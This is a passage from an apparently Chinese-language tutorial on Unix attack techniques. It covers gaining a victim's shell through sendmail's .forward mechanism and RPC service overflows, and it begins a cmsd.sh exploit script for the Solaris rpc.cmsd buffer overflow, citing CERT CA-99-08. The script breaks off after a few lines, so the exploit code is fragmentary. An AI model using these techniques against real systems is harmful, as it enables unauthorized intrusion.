mail test@targetsystem.com
执行后生成受害用户的一个shell，不过由于上载.forward需要对用户目录有写权限，因此这种方法似乎有些绕圈子的味道。
当然，关于sendmail的众多漏洞是数以百计的，这是由于sendmail的结构体系过于庞大，功能过于复杂多变而引起的。采用安全性更高的qmail似乎能解决sendmail的安全性问题。 **RPC挖掘
RPC的好处凡是使用过UNIX的人都知道，这是一种允许在一台计算机上运行的某个程序无缝地在另一个远程系统上执行代码的机制。而且由于许多厂家的支持，多数主流的Unix服务器仍采用了RPC标准。但由于RPC设计时候，很少考虑安全特性，因此由此引入的隐患也明灭可睹。基于CDE桌面系统的rpc.ttdbserverd和rpc.cmsd漏洞溢出；与NFS有关的rpc.statd和rpc.mountd的利用都是经典的例子(这类文章可以在google中搜索得到)，下面的例子采用了CERT的ca-99-08-cmsd的文章：
#####cmsd.sh###########
#!/bin/sh
if [$# -lt 4]; then
echo "Rpc.cmsd buffer overflow for Solaris 2.5 & 2.6 7"
echo "If rpcinfo -p target_ip
关键词：战术攻防思维撷粹